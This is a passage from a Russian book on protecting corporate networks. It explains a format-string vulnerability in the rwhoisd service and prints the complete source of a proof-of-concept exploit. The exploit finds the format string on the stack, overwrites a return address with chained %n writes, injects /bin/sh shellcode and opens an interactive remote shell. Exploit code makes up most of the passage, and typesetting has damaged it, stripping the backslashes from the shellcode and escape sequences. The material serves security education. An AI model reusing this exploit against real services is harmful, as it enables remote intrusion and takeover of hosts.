Коллектив авторов - Защита от хакеров корпоративных сетей
В программе атаки переписывается адрес возврата функции print_error(), который при вызове функции сохраняется в стеке. Поскольку программа предназначена только для демонстрации возможности подобных действий и на момент тестирования программы атаки адрес возврата из функции print_ error() находился в стеке сервиса по адресу 0xbffff8c8, то адрес перезаписываемой области в программе атаки задан символической константой TARGET.
После определения программой атаки адреса форматирующей строки формируется новая строка со спецификациями преобразования %n. Для подмены адреса возврата спецификациям %n должны соответствовать параметры, через которые передается адрес перезаписываемой области данных. Для поиска нужных адресов используются спецификации преобразования %x с указанием ширины поля, которые просматривают нужное число слов в стеке. В программе атаки необходимую последовательность спецификаций преобразования %x функция get_str() формирует автоматически по результатам работы функции brute_force().for(i = 0;i<num-1;i++)
{
strncat(str,“%x”,2); // work our way to where target is
}В переменной num хранится число просмотренных слов стека, предшествующих форматирующей строке. Число просмотренных слов определяется функцией brute_force(). Осталось определить адрес записи. Адрес возврата перезаписывается ранее обсуждавшимся способом многократной записи. Для формирования четырехбайтного адреса используют четыре операции записи с различным смещением от начала перезаписываемой области данных. Адреса каждого из четырех байтов перезаписываемой области помещаются в отсылаемую строку:
*((long *)(str+8)) = TARGET; // target
*((long *)(str+16)) = TARGET+1;
*((long *)(str+24)) = TARGET+2;
*((long *)(str+32)) = TARGET+3;
str[36] = “ ”;Следующий шаг состоит в записи правильных величин, определяющих адрес злонамеренного управляющего программного кода в стеке. Поскольку программа атаки только демонстрирует обсуждаемые возможности, то в ней в качестве адреса злонамеренного управляющего программного кода используется постоянный адрес 0xbffff99d. При формировании адреса 0xbffff99d в каждый байт выделенной для записи области помещаются младшие разряды величин, специально подобранных программой атаки:
TARGET – 9d
TARGET+1 – f9
TARGET+2 – ff
TARGET+3 – bfРанее уже обсуждалось использование спецификаций преобразования %n для записи младших разрядов данных. В последовательные возрастающие адреса памяти, задаваемые символическими константами TARGET, TARGET+1, TARGET+2 и TARGET+3, записываются младшие байты специально подобранных величин, которые совпадают с одним из байтов адреса программного кода. Например, при использовании спецификации преобразования %125x в область памяти, адрес которой равен значению константы TARGET, записывается величина, младший байт которой совпадает с младшим байтом адреса программного кода. Указав в спецификации преобразования %x ширину выводимого поля и применив способ многократной записи, можно сформировать в нужной области памяти адрес программного кода:
strncat(str,“%227x”,5); // padding
strncat(str,“%n”,2); // first write
strncat(str,“%92x”,4); // padding
strncat(str,“%n”,2); // second write
strncat(str,“%262x”,5); // padding
strncat(str,“%n”,2); // third write
strncat(str,“%192x”,5); // padding
strncat(str,“%n”,2); // fourth writeСледует отметить, что используемые в спецификации преобразования значения ширины выводимого поля полностью зависят от общего числа символов в отформатированной строке. При выводе отформатированной строки значение ширины поля можно определить автоматически программным способом.
Как только адрес возврата функции будет переписан, функция vfprintf() завершится обычным образом, злонамеренный управляющий программный код будет выполнен, а функция print_error() завершена. На рисунке 9.2 показан пример успешного использования уязвимости форматирующей строки.
Рис. 9.2. Использование уязвимости форматирующей строки программы rwhoisd для проникновения на хостНиже приведен исходный текст программы атаки:
// proof of concept
// written for rwhoisd 1.5.7.1 compiled on a Linux/i386 system
//
// overwrites return address at 0xbffff8c8 and replaces it with
// address of shellcode (for this binary)
// the shellcode is based on that which was included
// in an exploit written by ‘CowPower’.
// http://www.securityfocus.com/archive/1/222756
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <linux/in.h>
extern int errno;
#define FINDME 0x62626262 // we need to find this in the stack
#define TARGET 0xbffff8c8 // the address that we are
overwriting
void gen_str(char *str, int found,int target);
unsigned int brute_force(int s, char *str,char *reply);
void session(int s);
int main(int argc, char *argv[])
{
int s;
fd_set fd;
int amt;
struct sockaddr_in sa;
struct sockaddr_in ca;
int where = 0;
char reply[5000]; // receive buffer
char str[1000]; // send buffer
str[0] = “-”; // – directive prefix
str[1] = “s”;
str[2] = “o”;
str[3] = “a”;
str[4] = “ ”; // padding
str[5] = “ ”; // padding
str[6] = “ ”; // padding
str[7] = “ ”; // padding
*((long *)(str+8)) = FINDME; // find me in the stack
str[12] = “ ”;
bzero(&ca,sizeof(struct sockaddr_in));
bzero(&sa,sizeof(struct sockaddr_in));
if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror(“socket:”);
}
if (bind(s,&ca,sizeof(struct sockaddr_in)) < 0)
{
perror(”bind:”);
}
sa.sin_addr.s_addr = inet_addr(“127.0.0.1”);
sa.sin_port = htons(4321);
sa.sin_family = AF_INET;
if (connect(s,&sa,sizeof(struct sockaddr_in)) < 0)
{
perror(“connect”);
}
where = brute_force(s,reply,str); // brute force
gen_str(str,where,TARGET); // generate exploit
string
write(s,str,strlen(str)); // send exploit code
while(1)
{
amt = read(s,reply,1);
if (reply[0] == “n”)
break;
}
write(s,“id;n”,4);
amt = read(s,reply,1024);
reply[amt] = “ ”;
if ((reply[0] == “u”) && (reply[1] == “i”) && (reply[2]
== “d”))
{
printf(“*b00m*: %sn”,reply);
session(s);
}
else
{
printf(“exploit attempt unsuccessful..n”);
}
close(s);
exit(0);
}
unsigned int brute_force(int s,char *reply, char *str)
{
// this function searches the stack on the victim host
// for the format string
int foundit = 0;
int amt = 0;
int i = 0;
amt = read(s,reply,500); // read in the header, junk
reply[amt] = “ ”;
while(!foundit)
{
strncat(str,“%010p”,5);
write(s,str,strlen(str)+1);
write(s,“n”,1);
amt = read(s,reply,1024);
if (amt == 0)
{
fprintf(stderr,“Connection closed.n”);
close(s);
exit(-1);
}
reply[amt] = “ ”;
amt = 0;
i = 0;
while(reply[amt-1] != “n”)
{
i += amt;
amt = read(s, reply+i, 1024);
if (amt == 0)
{
fprintf(stderr,“Connection closed.n”);
close(s);
exit(-1);
}
}
reply[amt] = “ ”;
foundit = find_addr(reply);
}
}
int find_addr(char *str)
{
// this function parses server output.
// searches in words from the stack for
// the format string
char *ptr;
char segment[11];
unsigned long chekit = 0;
int i = 0;
int foundit = 0;
ptr = str + 6;
while((*ptr != “ ”) && (*ptr != “n”))
{
if((*ptr == “0”) && (*(ptr+1) == “x”))
{
memcpy(segment,ptr,10);
segment[10] = “ ”;
chekit = strtoul(segment,NULL,16);
if(chekit == FINDME)
{
printf(“*b00m*: found address #1: %i words
away.n”,i);
foundit = i;
return foundit;
}
ptr += 10;
}
else if ((*ptr == “ ”) && (*(ptr+1) == “ ”))
{
ptr += 10; // 0x00000000
}
i++;
}
return foundit;
}
void gen_str(char *str,int num,int target)
{
// this function generates the exploit string
// it contains the addresses to write to,
// the format specifiers (padding, %n’s)
// and the shellcode
int i;
char *shellcode =
“x90x31xdbx89xc3x43x89xcbx41xb0x3fxcdx80xebx25x5e”
“x89xf3x83xc3xe0x89x73x28x31xc0x88x43x27x89x43x2c”
“x83xe8xf5x8dx4bx28x8dx53x2cx89xf3xcdx80x31xdb”
“x31xc0x40xcdx80xe8xd6xffxffxff/bin/sh”;
memset(str+8,0x41,992); // clean the buffer
*((long *)(str+8)) = TARGET; // place the addresses
*((long *)(str+16)) = TARGET+1; // in the buffer
*((long *)(str+24)) = TARGET+2;
*((long *)(str+32)) = TARGET+3;
*((long *)(str+36)) = TARGET+4;
str[36] = “ ”;
for(i = 0;i<num-1;i++)
{
strncat(str,“%x”,2); // work our way to where target is
}
// the following section is binary dependent
strncat(str,“%227x”,5); // padding
strncat(str,“%n”,2); // first write
strncat(str,“%92x”,4); // padding
strncat(str,“%n”,2); // second write
strncat(str,“%262x”,5); // padding
strncat(str,“%n”,2); // third write
strncat(str,“%192x”,5); // padding
strncat(str,“%n”,2); // fourth write
strncat(str,shellcode,strlen(shellcode)); // insert the
shellcode
strncat(str,»n»,1); // terminate with a newline
}
void session(int s)
{
// this function facilitates communication with a
// shell exec()’d on the victim host.
fd_set fds;
int i;
char buf[1024];
FD_ZERO(&fds);
while(1)
{
FD_SET(s, &fds);
FD_SET(0, &fds);
select(s+1, &fds, NULL, NULL, NULL);
if (FD_ISSET(0,&fds))
{
i = 0;
bzero(buf,sizeof(buf));
fgets(buf,sizeof(buf)-2, stdin);
write(s,buf,strlen(buf));
}
else
if (FD_ISSET(s,&fds))
{
i = 0;bzero(buf,sizeof(buf));
if ((i = read(s,buf,1024)) == 0)
{
printf(“connection lost.n”);
exit(0);
}
buf[i] = “ ”;
printf(“%s”,buf);
}
}
}
Резюме
Уязвимость форматирующей строки является одним из последних дополнений к стандартному набору уловок злоумышленника.
В последнее время применяемые злоумышленниками способы использования ошибок программного обеспечения стали гораздо изощреннее. Одна из причин усложнения инструментария злоумышленников состоит в том, что стало больше злоумышленников, стало больше любопытных, высматривающих что-либо полезное для себя, и стало больше ревизоров, внимательно исследующих исходные тексты программ. Сейчас стало намного легче узнать о работе систем, об уязвимости программ и о том, как их можно использовать в своих целях.
В основном злоумышленники осмыслили пользу, которую им могут принести ошибки программирования. Долгое время программисты использовали функции printf(), не подозревая об ужасных последствиях их неправильного применения. До последнего времени никто не предполагал, что уязвимости форматирующей строки могут быть использованы для передачи управления злонамеренному программному коду. В дополнение к ошибкам форматирующей строки появились новые способы, например переписывание структур динамически распределяемой памяти, использование функций освобождения памяти для перезаписи указателей и ошибки целых индексов со знаком (signed integer index errors).
